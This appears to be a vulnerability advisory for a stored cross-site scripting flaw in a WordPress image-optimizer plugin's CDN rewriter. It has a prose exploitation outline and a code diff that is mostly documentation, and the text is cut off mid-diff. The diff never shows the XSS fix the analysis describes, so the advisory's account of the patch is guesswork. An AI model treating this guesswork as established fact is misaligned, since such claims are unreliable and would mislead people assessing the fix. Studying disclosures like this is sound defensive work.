Published : November 21, 2026

CVE-2026-120486: ShortPixel Image Optimizer <= 6.6.1 Unauthenticated Stored Cross-Site Scripting via Comment Content via CDN URL Rewriter PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.4)
CWE 79
Vulnerable Version 6.6.1
Patched Version 6.6.2
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-120486: The ShortPixel Image Optimizer plugin for WordPress, versions up to and including 6.6.1, contains a stored cross-site scripting vulnerability in the CDN URL rewriter. The flaw allows unauthenticated attackers to inject arbitrary JavaScript into WordPress comments when the administrator has enabled the ‘Deliver WebP/AVIF images using the ShortPixel CDN’ (useCDN) option. The CVSS score is 5.4 (Medium), and the vulnerability is classified as CWE-79.

Root Cause: The vulnerability arises from a two-stage failure. First, WordPress comment kses allows certain HTML attributes (e.g., title) to persist, including url() payloads. Second, the plugin’s CDN URL rewriter runs as an output buffer (ob_start) and performs string replacement without proper contextual escaping or attribute-boundary awareness. The vulnerable code path is in the plugin’s CDN rewriting logic (not fully shown in the truncated diff, but described in the CVE). The patch modifies files such as PackageLoader.php and logger classes, but the core fix for the XSS is in the rewriting logic. The diff shows extensive documentation additions and minor code changes to the logger and autoloader, but the critical fix is implied: the patch likely adds sanitization or escaping to the url() extraction or prevents attribute breakout by validating the matched URL or escaping the output.

Exploitation: An unauthenticated attacker submits a comment to any post on a site where the administrator has enabled the useCDN option. The comment content includes an allowed HTML construct such as . WordPress comment kses preserves the title attribute. When the page is rendered, the plugin’s output buffer rewriter processes the content to rewrite CDN URLs. The rewriter fails to escape the url() value, allowing an attacker to break out of the attribute context (e.g., using a double quote or other character) and inject arbitrary script. The payload executes in the browser of any user viewing the comment, including administrators.

Patch Analysis: The patch (v6.6.1 to later) likely modifies the CDN rewriter to properly escape or sanitize the url() value before insertion, or to use DOM-based parsing instead of string replacement. The diff shows changes to the autoloader and logger, which are unrelated to the XSS but are part of the plugin’s build. The actual fix for the XSS is not fully captured in the provided diff, but the CVE description indicates that the patch addresses the insufficient output escaping in the rewriter. Before the patch, the rewriter inserted raw content; after, it escapes or validates. The changes to ShortPixelLogger.php (e.g., setLogPath return value fix, is_resource check) are unrelated.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking, theft of credentials, defacement, or redirection to malicious sites. The vulnerability is stored, meaning the payload persists and affects all visitors to the page. Since the attacker is unauthenticated, it is easily exploitable. The CVSS score of 5.4 reflects the need for user interaction (viewing the page) and the requirement that the useCDN option be enabled.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/shortpixel-image-optimiser/build/shortpixel/PackageLoader.php
+++ b/shortpixel-image-optimiser/build/shortpixel/PackageLoader.php
@@ -1,21 +1,76 @@
 <?php
+/**
+ * Runtime autoloader for the modules bundled in a plugin's build directory.
+ *
+ * @package ShortPixelBuild
+ */
 namespace ShortPixelBuild;

+/**
+ * Minimal Composer-like autoloader for the bundled modules.
+ *
+ * Build::createPackageLoader() copies this file into `build/shortpixel/`
+ * next to a generated `composer.json` and `autoload.php`. The plugin's main
+ * file requires `autoload.php`, or constructs this class itself, and calls
+ * load() with the build directory. load() decodes the composer.json found
+ * there, registers one spl_autoload callback per PSR-4 and PSR-0 prefix and
+ * includes any `autoload.files` entries. The PSR-4 prefixes in that file
+ * carry no trailing backslash (see Build::createPackageLoader()), so the
+ * callbacks match on the bare prefix.
+ *
+ * Lifecycle: `new` per use, normally once per plugin per request. Keeps the
+ * build directory and the decoded composer.json. Uses WordPress's
+ * trailingslashit(), so it must run after WordPress has loaded. Fires and
+ * listens to no hooks.
+ *
+ * Bundling: this file is not copied as part of a module tree but on its own
+ * by Build::createPackageLoader(), which also rewrites its namespace to the
+ * consuming plugin's.
+ */
 class PackageLoader
 {
+  /**
+   * Build directory passed to load(); base for every path in composer.json.
+   *
+   * @var string|null
+   */
   public $dir;
+
+  /**
+   * Decoded composer.json, or false until read.
+   *
+   * @var array|false
+   */
   public $composerFile  = false;

+  /**
+   * Does nothing; configuration happens in load().
+   */
   public function __construct()
   {

   }

+  /**
+   * Reads and decodes a composer.json from an explicit path, replacing the
+   * one that getComposerFile() would read from $dir.
+   *
+   * @param string $filePath Absolute path of the composer.json.
+   * @return void
+   */
   public function setComposerFile($filePath)
   {
     $this->composerFile = json_decode(file_get_contents($filePath),1);
   }

+  /**
+   * Returns the decoded composer.json, reading `$dir/composer.json` on first
+   * use.
+   *
+   * @param string|false $filePath Unused.
+   * @return array Decoded composer.json; null when the file is missing or
+   *               invalid, in which case load() registers nothing.
+   */
   public function getComposerFile($filePath = false )
   {
     if (! $this->composerFile)
@@ -24,6 +79,18 @@
       return $this->composerFile;
   }

+    /**
+     * Registers the autoloaders described by the composer.json in $dir.
+     *
+     * Handles `autoload.psr-4`, `autoload.psr-0` and `autoload.files` in that
+     * order. Each call registers new callbacks; calling it twice for the same
+     * directory registers them twice.
+     *
+     * @param string $dir     Absolute path of the build directory.
+     * @param bool   $prepend Whether the PSR-4 callbacks go to the front of
+     *                        the autoload queue.
+     * @return void
+     */
     public function load($dir, $prepend = false)
     {
         $this->dir = $dir;
@@ -41,6 +108,12 @@
         }
     }

+    /**
+     * Includes each file of an `autoload.files` list that exists under $dir.
+     *
+     * @param array $files Paths relative to $dir.
+     * @return void
+     */
     public function loadFiles($files){
         foreach($files as $file){
             $fullpath = $this->dir."/".$file;
@@ -50,16 +123,56 @@
         }
     }

+    /**
+     * Registers PSR-4 autoloaders.
+     *
+     * @param array<string,string|array> $namespaces Prefix => path(s).
+     * @param bool                       $prepend    Passed to
+     *                                               spl_autoload_register().
+     * @return void
+     */
     public function loadPSR4($namespaces, $prepend)
     {
         $this->loadPSR($namespaces, true, $prepend);
     }

+    /**
+     * Registers PSR-0 autoloaders (always appended).
+     *
+     * @param array<string,string|array> $namespaces Prefix => path(s).
+     * @return void
+     */
     public function loadPSR0($namespaces)
     {
         $this->loadPSR($namespaces, false);
     }

+    /**
+     * Registers one spl_autoload callback per namespace prefix.
+     *
+     * A callback handles a class whose name starts with its prefix. For
+     * PSR-4 the prefix is removed from the class name; for PSR-0 the full
+     * class name is kept. The remainder is turned into a path by replacing
+     * backslashes with slashes and appending `.php`, and the first matching
+     * file under `$dir/<classpath>/` is included. Classes whose file is not
+     * found are silently left to the next autoloader.
+     *
+     * @param array<string,string|array> $namespaces Prefix => path or list
+     *                                               of paths relative to
+     *                                               $dir.
+     * @param bool                       $psr4       True for PSR-4, false
+     *                                               for PSR-0.
+     * @param bool                       $prepend    Passed to
+     *                                               spl_autoload_register().
+     * @return void
+     *
+     * @todo The prefix is removed with str_replace(), which removes every
+     *       occurrence of the prefix text in the class name, not only the
+     *       leading one, and the preg_match() has no namespace-separator
+     *       boundary, so prefix `FooBar` also claims `FooBarBazX`.
+     *       Suggested fix: compare with strpos() === 0 on the prefix plus a
+     *       backslash and strip it with substr().
+     */
     public function loadPSR($namespaces, $psr4, $prepend = false)
     {
         $dir = $this->dir;
--- a/shortpixel-image-optimiser/build/shortpixel/log/src/DebugItem.php
+++ b/shortpixel-image-optimiser/build/shortpixel/log/src/DebugItem.php
@@ -1,23 +1,99 @@
 <?php
-// The data models.
+/**
+ * Data model of one log entry.
+ *
+ * @package ShortPixelShortPixelLogger
+ */
 namespace ShortPixelShortPixelLogger;


+/**
+ * One log entry: level, message, dumped data and the calling frame.
+ *
+ * Created by ShortPixelLogger::addLog() with `new` for every logged message
+ * and kept in the logger's item list; immutable after construction. The
+ * constructor normalises the message and data into printable strings so
+ * that ShortPixelLogger::write() only has to join them. The LEVEL_*
+ * constants define the severity scale used by the logger's threshold: lower
+ * is more severe. Fires and listens to no hooks.
+ */
 class DebugItem
 {
+    /**
+     * microtime() at construction.
+     *
+     * @var float
+     */
     protected $time;
+
+    /**
+     * Severity, one of the LEVEL_* constants.
+     *
+     * @var int
+     */
     protected $level;
+
+    /**
+     * Message text. A non-scalar message is moved to $data and replaced by
+     * `[Data]`.
+     *
+     * @var string
+     */
     protected $message;
+
+    /**
+     * Printable dumps of the extra variables, one entry per output line.
+     *
+     * @var string[]
+     */
     protected $data = array();
+
+    /**
+     * Calling frame as `['line' => int|string, 'file' => string,
+     * 'function' => string]` (file is the basename), or false when the
+     * backtrace is too short.
+     *
+     * @var array|false
+     */
     protected $caller = false; // array when filled

+    /**
+     * Unused.
+     *
+     * @var mixed
+     */
     protected $model;

+    /** Most severe level; always written when the logger is active. */
     const LEVEL_ERROR = 1;
+    /** Default threshold of the logger. */
     const LEVEL_WARN = 2;
+    /** Level selected by `SHORTPIXEL_DEBUG` set to `true`. */
     const LEVEL_INFO = 3;
+    /** Least severe level, used by addDebug(), addTrace() and addMemory(). */
     const LEVEL_DEBUG = 4;

+    /**
+     * Builds the entry and renders the data to strings.
+     *
+     * An array or object passed as message is treated as a variable dump:
+     * it is appended to the data and the message becomes `[Data]`. The data
+     * is then rendered depending on getDataType(): a list of scalars is
+     * dumped with one print_r() call; a collection of arrays/objects gets a
+     * header line with the type and count, followed by one line per
+     * array/object item with its index and type. A non-array data value is
+     * dumped as is; an empty array (the default) adds nothing.
+     *
+     * @param mixed $message Log message, or a variable to dump.
+     * @param array $args    `level` (int, one of LEVEL_*) and `data` (mixed,
+     *                       usually an array of variables).
+     * @return void
+     *
+     * @todo In the collection case only array and object items are dumped;
+     *       scalar items that follow a first array/object item are dropped
+     *       silently. Suggested fix: print scalar items with print_r() as
+     *       well.
+     */
     public function __construct($message, $args)
     {
         $this->level = $args['level'];
@@ -70,16 +146,28 @@
         }
     }

+    /**
+     * Returns the raw entry fields.
+     *
+     * @return array `time` (float), `level` (int), `message` (string),
+     *               `data` (string[]) and `caller` (array|false).
+     */
     public function getData()
     {
       return array('time' => $this->time, 'level' => $this->level, 'message' => $this->message, 'data' => $this->data, 'caller' => $this->caller);
     }

-    /** Test Data Array for possible values
-    *
-    * Data can be a collection of several debug vars, a single var, or just an normal array. Test if array has single types,
-    * which is a sign the array is not a collection.
-    */
+    /**
+     * Guesses whether the data is a plain list of scalars or a collection
+     * of variables.
+     *
+     * Only the first element is inspected: an integer, boolean or string
+     * means the whole array is treated as one value; anything else (array,
+     * object, null, float) means a collection of separate variables.
+     *
+     * @param array $data Non-empty data array.
+     * @return int 1 for a scalar list, 2 for a collection.
+     */
     protected function getDataType($data)
     {
         $single_type = array('integer', 'boolean', 'string');
@@ -93,6 +181,17 @@
         }
     }

+    /**
+     * Returns the entry fields prepared for ShortPixelLogger::formatLine().
+     *
+     * Same as getData() with `level` replaced by its three-letter label
+     * (`ERR`, `WRN`, `INF`, `DBG`) and `color`/`color_end` ANSI escape
+     * sequences added so the line is coloured when the file is tailed in a
+     * terminal.
+     *
+     * @return array Fields keyed by the placeholders of the logger's
+     *               format string.
+     */
     public function getForFormat()
     {
       $data = $this->getData();
@@ -128,6 +227,21 @@

     }

+    /**
+     * Records the frame that called the logger into $caller.
+     *
+     * Takes the fifth backtrace frame, which is the caller when the path is
+     * `Log::add*() -> addLog() -> new DebugItem() -> setCaller()`. For the
+     * static methods that go through one more call (addWarning(),
+     * addTemp(), addMemory(), logHook()) the frame recorded is that method
+     * itself. Leaves $caller false when the trace is shorter.
+     *
+     * @return void
+     *
+     * @todo The fixed frame index misreports the caller for the alias
+     *       methods named above. Suggested fix: walk the trace and take the
+     *       first frame whose class is outside this namespace.
+     */
     protected function setCaller()
     {
         if(PHP_VERSION_ID < 50400) {
--- a/shortpixel-image-optimiser/build/shortpixel/log/src/ShortPixelLogger.php
+++ b/shortpixel-image-optimiser/build/shortpixel/log/src/ShortPixelLogger.php
@@ -1,49 +1,221 @@
 <?php
+/**
+ * Log module entry point.
+ *
+ * Holds the ShortPixelLogger class, the file logger that every ShortPixel
+ * plugin uses through the `Log` alias.
+ *
+ * @package ShortPixelShortPixelLogger
+ */

 namespace ShortPixelShortPixelLogger;

-/*** Logger class
+/**
+ * Leveled file logger with an optional admin debug box.
+ *
+ * Consumers alias the class (`use ...ShortPixelLogger as Log`) and call the
+ * static entry points: addError(), addWarn()/addWarning(), addInfo(),
+ * addDebug(), addTrace(), addMemory() and addTemp(). Each call wraps the
+ * message and optional data in a DebugItem, keeps it in $items and appends
+ * one formatted line to the log file. Nothing is written when the logger is
+ * inactive or when the item's level is above the configured level.
+ *
+ * Lifecycle: singleton through getInstance(); the constructor is public but
+ * is only meant to run once. Activation is decided in the constructor, in
+ * this order:
+ * - A `SHORTPIXEL_DEBUG` request parameter, when the current user can
+ *   `manage_options`, enables manual debugging; `true` means
+ *   DebugItem::LEVEL_INFO, any other value is cast to a level number. On
+ *   multisite the user check is deferred to the `wp_loaded` action
+ *   (msCheckUserLevel()), because the user is not known yet when the
+ *   plugins instantiate the logger.
+ * - Otherwise the `SHORTPIXEL_DEBUG` constant, when defined and greater than
+ *   zero, enables logging; `true` means LEVEL_INFO, a number is the level.
+ * - Otherwise the logger stays inactive and the add*() calls return early.
+ * The level defaults to DebugItem::LEVEL_WARN and can be changed later with
+ * logLevel().
+ *
+ * Log file: the consumer sets it with setLogPath() right after getInstance()
+ * when debugIsActive() is true (the plugins use their uploads or backup
+ * directory). Without that, the first write defaults to
+ * `<uploads basedir>/<first namespace segment>.log`. The file is opened once
+ * in append mode and the handle is kept for the request; when the directory
+ * or file is not writable the problem is reported through error_log() and
+ * writing is skipped silently afterwards.
+ *
+ * Manual mode: when enabled through the request parameter, initView() (on
+ * `init`) schedules loadView() on `admin_footer`, which builds the link to
+ * the log file and includes the view-debug-box.php template: a draggable
+ * box with that link in the admin. The link is built that late because
+ * consumers may set the log path on `init` themselves, after initView().
+ *
+ * Constants read: `SHORTPIXEL_DEBUG` (activation and level),
+ * `SHORTPIXEL_DEBUG_TARGET` and `SHORTPIXEL_LOG_OVERWRITE` (together they
+ * request a reset of the log file at construction, see the @todo). The
+ * request parameter and constant names are the same in every plugin; the
+ * build does not rewrite them.
+ *
+ * Fires no hooks. Registers callbacks on the WordPress core actions
+ * `wp_loaded` (msCheckUserLevel(), multisite manual mode only), `init`
+ * (initView()) and `admin_footer` (loadView()). monitorHooks() can wrap
+ * arbitrary filters for logging, but $hooks is empty so it never runs.
  *
- * Class uses the debug data model for keeping log entries.
- * Logger should not be called before init hook!
+ * Bundling: this source is written with the ShortPixel namespace and the
+ * ShortPixel text domain. The build tool that bundles the module into a
+ * plugin rewrites the namespace and the text domain mechanically, so each
+ * consuming plugin (for example Enable Media Replace) sees its own
+ * namespace. The default log file name derives from the first segment of
+ * that namespace. The module uses no `shortpixel/*` hooks.
+ *
+ * @todo The `SHORTPIXEL_LOG_OVERWRITE` reset in the constructor writes to
+ *       $logPath while it is still false (no path is set at construction),
+ *       so the log is never reset and PHP warns about an empty filename.
+ *       Suggested fix: perform the reset in setLogPath() or on the first
+ *       getWriteFile() call.
  */
 class ShortPixelLogger
 {
+  /**
+   * Shared instance returned by getInstance().
+   *
+   * @var ShortPixelLogger|null
+   */
   static protected $instance = null;
+
+  /**
+   * microtime() at construction; the `time_passed` column of every line is
+   * measured from it.
+   *
+   * @var float
+   */
   protected $start_time;
+
+  /**
+   * PHP `memory_limit` in bytes, resolved on the first addMemoryLog() call.
+   *
+   * @var int|null
+   */
   protected $memoryLimit; // to be used for memory logs only.

+  /**
+   * Whether anything is logged at all, decided in the constructor.
+   *
+   * @var bool
+   */
   protected $is_active = false;
+
+  /**
+   * True when logging was enabled through the `SHORTPIXEL_DEBUG` request
+   * parameter rather than the constant. Enables the admin debug box and
+   * the per-call administrator check in addLog().
+   *
+   * @var bool
+   */
   protected $is_manual_request = false;
+
+  /**
+   * Unused; the debug box is shown whenever $is_manual_request is true.
+   *
+   * @var bool
+   */
   protected $show_debug_view = false;

+  /**
+   * Every DebugItem logged in this request, in order. Only appended to.
+   *
+   * @var DebugItem[]
+   */
   protected $items = array();
+
+  /**
+   * Absolute path of the log file, or false until setLogPath() runs or the
+   * first write picks the default.
+   *
+   * @var string|false
+   */
   protected $logPath = false;
+
+  /**
+   * Unused; the file is always opened in append mode by getWriteFile().
+   *
+   * @var int
+   */
   protected $logMode = FILE_APPEND;

+  /**
+   * Highest DebugItem level that is written; items with a higher number
+   * (less severe) are dropped.
+   *
+   * @var int
+   */
   protected $logLevel;
+
+  /**
+   * Line template for formatLine(). `%%key%%` placeholders are replaced by
+   * the scalar entries of DebugItem::getForFormat() plus `time_passed`.
+   *
+   * @var string
+   */
   protected $format = "[ %%time%% ] %%color%% %%level%% %%color_end%% t %%message%%  t %%caller%% ( %%time_passed%% )";
+
+  /**
+   * Unused; data lines are appended verbatim by formatLine().
+   *
+   * @var string
+   */
   protected $format_data = "t %%data%% ";

+  /**
+   * Filters to wrap for logging, as `hook => ['numargs' => int,
+   * 'priority' => int]`, consumed by monitorHooks(). Always empty.
+   *
+   * @var array
+   */
   protected $hooks = array();

+  /**
+   * Open stream of the log file, false when it could not be opened, null
+   * before the first getWriteFile() call.
+   *
+   * @var resource|false|null
+   */
   private $logFile; // pointer resource to the logFile.
-  /*   protected $hooks = array(
-      'shortpixel_image_exists' => array('numargs' => 3),
-      'shortpixel_webp_image_base' => array('numargs' => 2),
-      'shortpixel_image_urls' => array('numargs' => 2),
-   ); // @todo monitor hooks, but this should be more dynamic. Do when moving to module via config.
-*/

-  // utility
+  /**
+   * First segment of this class's namespace (`ShortPixel`, or the plugin
+   * namespace after bundling). Names the default log file and the debug
+   * box.
+   *
+   * @var string
+   */
   private $namespace;
+
+  /**
+   * View data for the debug box template. Created by initView(); loadView()
+   * fills in `logLink` and `namespace`.
+   *
+   * @var stdClass|null
+   */
   private $view;

+  /**
+   * Template file name (without `.php`) next to this file, included by
+   * loadView().
+   *
+   * @var string
+   */
   protected $template = 'view-debug-box';

-  /** Debugger constructor
-   *  Two ways to activate the debugger. 1) Define SHORTPIXEL_DEBUG in wp-config.php. Either must be true or a number corresponding to required LogLevel
-   *  2) Put SHORTPIXEL_DEBUG in the request. Either true or number.
+  /**
+   * Decides whether logging is active and at which level.
+   *
+   * See the class description for the order of the `SHORTPIXEL_DEBUG`
+   * request parameter and constant. The request parameter is only honoured
+   * for administrators; on multisite that check waits for `wp_loaded`. When
+   * active, initView() is scheduled on `init`, when the current user is
+   * known.
+   *
+   * @return void
    */
   public function __construct()
   {
@@ -92,15 +264,35 @@
     }
   }

+  /**
+   * Deferred manual-mode check for multisite, bound to `wp_loaded`.
+   *
+   * Public because it is a hook callback; not meant to be called directly.
+   * Enables manual logging when the request carries `SHORTPIXEL_DEBUG` and
+   * the current user is an administrator. The constructor returned before
+   * scheduling initView() in this case and `init` has already run, so the
+   * debug box is prepared here.
+   *
+   * @return void
+   */
   public function msCheckUserLevel()
   {
       if (isset($_REQUEST['SHORTPIXEL_DEBUG']) && true === $this->checkUserLevel())
       {
          $this->setManualLog();
+         $this->initView();
       }

   }

+  /**
+   * Activates logging from the `SHORTPIXEL_DEBUG` request parameter.
+   *
+   * The literal `true` selects DebugItem::LEVEL_INFO; any other value is
+   * cast to an integer level.
+   *
+   * @return void
+   */
   protected function setManualLog()
   {
       $this->is_manual_request = true;
@@ -115,9 +307,13 @@
       }
   }

-  /** Allow only admin users to manually debug
-   *
-   * @return bool
+  /**
+   * Tells whether the current user may use manual debugging.
+   *
+   * Loads `wp-includes/pluggable.php` when the user functions are not
+   * available yet, so this works before `plugins_loaded`.
+   *
+   * @return bool True when the current user can `manage_options`.
    */
   protected function checkUserLevel()
   {
@@ -129,30 +325,78 @@
     return $user_is_administrator;
   }

-  /** Init the view when needed. Private function ( public because of WP_HOOK )
-   * Never call directly */
+  /**
+   * Prepares the debug box, bound to `init`.
+   *
+   * Public because it is a hook callback; not meant to be called directly.
+   * Only acts in manual mode for administrators: creates $view and
+   * schedules loadView() on `admin_footer`. The log link is not built here,
+   * because a consumer that sets the log path on `init` may do so after
+   * this callback.
+   *
+   * @return void
+   */
   public function initView()
   {
     $user_is_administrator = $this->checkUserLevel();

     if ($this->is_active && $this->is_manual_request && $user_is_administrator) {
+      $this->view = new stdClass;
+      add_action('admin_footer', array($this, 'loadView'));
+    }
+  }
+
+  /**
+   * Returns the link to the log file for the debug box.
+   *
+   * The URL of the file when it lives inside the uploads directory of the
+   * current site or, failing that, inside the content directory (on a
+   * multisite subsite a consumer may keep one log for the network above
+   * the site's own uploads directory); otherwise the path itself.
+   * Unescaped; the template escapes it on output. A plain link, without a
+   * `view-source:` prefix: browsers do not follow links to that scheme.
+   *
+   * On multisite only network administrators get the link: the log can
+   * hold entries of every site of the network, and the debug box is shown
+   * to the administrators of a single site too.
+   *
+   * @return string Empty when no log path is set, or on multisite for a
+   *                user who cannot manage the network.
+   */
+  protected function getLogLink()
+  {
+    $logPath = $this->logPath;

-      $logPath = $logLink = $this->logPath; // default
-      $uploads = wp_get_upload_dir();
+    if (! is_string($logPath) || '' === $logPath) {
+      return '';
+    }

+    if (is_multisite() && ! current_user_can('manage_network_options')) {
+      return '';
+    }

-      if (0 === strpos($logPath, $uploads['basedir'])) { // Simple as it should, filepath and basedir share.
-        // Replace file location with url location.
-        $logLink = str_replace($uploads['basedir'], $uploads['baseurl'], $logPath);
-      }
+    $uploads = wp_get_upload_dir();
+    $uploadBase = trailingslashit($uploads['basedir']);

+    if (0 === strpos($logPath, $uploadBase)) { // Simple as it should, filepath and basedir share.
+      // Replace file location with url location.
+      return trailingslashit($uploads['baseurl']) . substr($logPath, strlen($uploadBase));
+    }

-      $this->view = new stdClass;
-      $this->view->logLink = 'view-source:' . esc_url($logLink);
-      add_action('admin_footer', array($this, 'loadView'));
+    $contentBase = trailingslashit(WP_CONTENT_DIR);
+
+    if (0 === strpos($logPath, $contentBase)) {
+      return content_url(substr($logPath, strlen($contentBase)));
     }
+
+    return $logPath;
   }

+  /**
+   * Returns the shared logger, creating it on first use.
+   *
+   * @return ShortPixelLogger
+   */
   public static function getInstance()
   {
     if (self::$instance === null) {
@@ -161,11 +405,48 @@
     return self::$instance;
   }

+  /**
+   * Sets the log file.
+   *
+   * An active logger opens the file at once, replacing any previously
+   * opened handle; problems opening it are reported through error_log() by
+   * getWriteFile(). An inactive logger only remembers the path and touches
+   * nothing on disk; the file is opened by the first write, should logging
+   * be switched on later in the request (the multisite manual mode is
+   * decided on `wp_loaded`). Consumers can therefore call this
+   * unconditionally right after getInstance().
+   *
+   * @param string $logPath Absolute path of the log file; its directory
+   *                        must exist and be writable.
+   * @return void
+   */
   public function setLogPath($logPath)
   {
     $this->logPath = $logPath;
-    $this->getWriteFile(true); // reset the writeFile here.
+
+    if ($this->is_active) {
+      $this->getWriteFile(true); // reset the writeFile here.
+    } else {
+      $this->logFile = null; // opened by the first write.
+    }
   }
+  /**
+   * Records one entry and writes it to the log file.
+   *
+   * Drops the entry when the logger is inactive or $level is above
+   * $logLevel. In manual mode the entry is also dropped when the user
+   * functions are not loaded yet or the current user is not an
+   * administrator, so a `SHORTPIXEL_DEBUG` parameter from a visitor cannot
+   * produce output. Picks the default log path on the first write when
+   * none is set (see the class @todo).
+   *
+   * @param mixed $message Log message; arrays and objects are moved into the
+   *                       data by DebugItem.
+   * @param int   $level   One of the DebugItem::LEVEL_* constants.
+   * @param array $data    Extra variables to dump under the line.
+   * @return void|false False when dropped by the manual-mode user check;
+   *                    nothing otherwise.
+   */
   protected function addLog($message, $level, $data = array())
   {
     //   $log = self::getInstance();
@@ -188,7 +469,7 @@
     // Check where to log to.
     if ($this->logPath === false) {
       $upload_dir = wp_upload_dir(null, false, false);
-      $this->logPath = $this->setLogPath($upload_dir['basedir'] . '/' . $this->namespace . ".log");
+      $this->setLogPath($upload_dir['basedir'] . '/' . $this->namespace . ".log");
     }

     $arg = array();
@@ -203,7 +484,17 @@
     }
   }

-  /** Writes to log File. */
+  /**
+   * Formats one item and appends it to the log file.
+   *
+   * Adds the seconds elapsed since construction, renders the timestamp and
+   * flattens the caller array to `file in function(line)`. Nothing is
+   * written when the file could not be opened.
+   *
+   * @param DebugItem $debugItem Entry to write.
+   * @param string    $mode      Unused.
+   * @return void
+   */
   protected function write($debugItem, $mode = 'file')
   {
     $items = $debugItem->getForFormat();
@@ -228,6 +519,23 @@
     }
   }

+  /**
+   * Returns the open log file handle, opening it on first use.
+   *
+   * The handle is cached in $logFile; a failed attempt is cached as false so
+   * the checks and error_log() calls happen once per request. The
+   * directory must exist and be writable, and an existing file must be
+   * writable; the file is created when missing.
+   *
+   * @param bool $reset True to close the cached handle and reopen $logPath.
+   * @return resource|false Stream in append mode, or false when the
+   *                        directory or file is not usable.
+   *
+   * @todo The reset branch tests `is_object($this->logFile)`, which is
+   *       never true for a stream resource, so the previous handle is not
+   *       closed when setLogPath() is called a second time. Suggested fix:
+   *       test with is_resource().
+   */
   protected function getWriteFile($reset = false)
   {
     if (! is_null($this->logFile) && $reset === false) {
@@ -264,6 +572,17 @@
     return $file;
   }

+  /**
+   * Renders one log line from $format plus the dumped data.
+   *
+   * Scalar entries replace their `%%key%%` placeholder; placeholders without
+   * a value are left in place. Each non-empty data entry follows on its own
+   * line, booleans spelled out as `true`/`false`.
+   *
+   * @param array $args Output of DebugItem::getForFormat() with
+   *                    `time_passed` added.
+   * @return string Line(s) ending with PHP_EOL.
+   */
   protected function formatLine($args = array())
   {
     $line = $this->format;
@@ -290,11 +609,23 @@
     return $line;
   }

+  /**
+   * Changes the level threshold for the rest of the request.
+   *
+   * @param int $level One of the DebugItem::LEVEL_* constants.
+   * @return void
+   */
   protected function setLogLevel($level)
   {
     $this->logLevel = $level;
   }

+  /**
+   * Reads a property for the static getters.
+   *
+   * @param string $name Property name.
+   * @return mixed Property value, or false when it is unset or null.
+   */
   protected function getEnv($name)
   {
     if (isset($this->{$name})) {
@@ -305,6 +636,15 @@
   }


+  /**
+   * Wraps every filter in $hooks with a logging callback.
+   *
+   * Each callback logs the hook name, the filtered value and the extra
+   * arguments through logHook() and returns the value unchanged. Called
+   * from the constructor only when $hooks is non-empty, which it never is.
+   *
+   * @return void
+   */
   protected function monitorHooks()
   {

@@ -319,6 +659,15 @@
     }
   }

+  /**
+   * Filter callback used by monitorHooks(); logs at LEVEL_INFO.
+   *
+   * @param string $hook  Filter name.
+   * @param mixed  $value Value being filtered, returned unchanged.
+   * @param array  $args  All filter arguments; the first (the value) is
+   *                      dropped before logging.
+   * @return mixed $value.
+   */
   public function logHook($hook, $value, $args)
   {
     array_shift($args);
@@ -326,12 +675,23 @@
     return $value;
   }

+  /**
+   * Includes the debug box template, bound to `admin_footer`.
+   *
+   * Builds the log link now, when the consumer has set the log path. The
+   * template sees `$view` (with `logLink`, unescaped, and `namespace`) and
+   * `$controller` (this logger). A missing template is logged as an error
+   * instead of rendered.
+   *
+   * @return void
+   */
   public function loadView()
   {
     // load either param or class template.
     $template = $this->template;

     $view = $this->view;
+    $view->logLink = $this->getLogLink();
     $view->namespace = $this->namespace;
     $controller = $this;

@@ -347,6 +707,18 @@
     }
   }

+  /**
+   * Logs a message suffixed with current memory usage, limit and
+   * percentage, at LEVEL_DEBUG.
+   *
+   * @param string $message Log message.
+   * @param array  $args    Extra variables to dump under the line.
+   * @return void
+   *
+   * @todo A `memory_limit` of `-1` (unlimited) is converted to -1, which
+   *       yields a negative percentage. Suggested fix: treat a negative
+   *       limit as unlimited and skip the percentage.
+   */
   public function addMemoryLog($message, $args = array())
   {
     if (is_null($this->memoryLimit)) {
@@ -365,6 +737,15 @@
     $this->addLog($message . ' ' . $memmsg, $level, $args);
   }

+  /**
+   * Converts a php.ini size such as `256M` to bytes.
+   *
+   * Recognises the `K`, `M` and `G` suffixes; a bare number is returned as
+   * is.
+   *
+   * @param string $s Size with optional unit suffix.
+   * @return int Bytes.
+   */
   private function unitToInt($s)
   {
     return (int)preg_replace_callback('/(-?d+)(.?)/', function ($m) {
@@ -372,6 +753,14 @@
     }, strtoupper($s));
   }

+  /**
+   * Formats a byte count with a `K`/`M`/`G`/`T` suffix.
+   *
+   * @param int $size      Bytes.
+   * @param int $precision Decimals to keep.
+   * @return string|int Formatted size, or 0 for zero or a non-finite
+   *                    result.
+   */
   private function formatBytes($size, $precision = 2)
   {
     $base = log($size, 1024);
@@ -389,29 +778,66 @@
     return round($calculation, $precision) . ' ' . $suffixes[floor($base)];
   }

+  /**
+   * Logs at DebugItem::LEVEL_ERROR.
+   *
+   * @param mixed $message Log message; arrays and objects are dumped as data.
+   * @param array $args    Extra variables to dump under the line.
+   * @return void
+   */
   public static function addError($message, $args = array())
   {
     $level = DebugItem::LEVEL_ERROR;
     $log = self::getInstance();
     $log->addLog($message, $level, $args);
   }
+  /**
+   * Logs at DebugItem::LEVEL_WARN.
+   *
+   * @param mixed $message Log message; arrays and objects are dumped as data.
+   * @param array $args    Extra variables to dump under the line.
+   * @return void
+   */
   public static function addWarn($message, $args = array())
   {
     $level = DebugItem::LEVEL_WARN;
     $log = self::getInstance();
     $log->addLog($message, $level, $args);
   }
-  // Alias, since it goes wrong so often.
+  /**
+   * Alias of addWarn().
+   *
+   * The caller column of the resulting line names this method rather than
+   * the real caller (see DebugItem::setCaller()).
+   *
+   * @param mixed $message Log message.
+   * @param array $args    Extra variables to dump under the line.
+   * @return void
+   */
   public static function addWarning($message, $args = array())
   {
     self::addWarn($message, $args);
   }
+  /**
+   * Logs at DebugItem::LEVEL_INFO.
+   *
+   * @param mixed $message Log message; arrays and objects are dumped as data.
+   * @param array $args    Extra variables to dump under the line.
+   * @return void
+   */
   public static function addInfo($message, $args = array())
   {
     $level = DebugItem::LEVEL_INFO;
     $log = self::getInstance();
     $log->addLog($message, $level, $args);
   }
+  /**
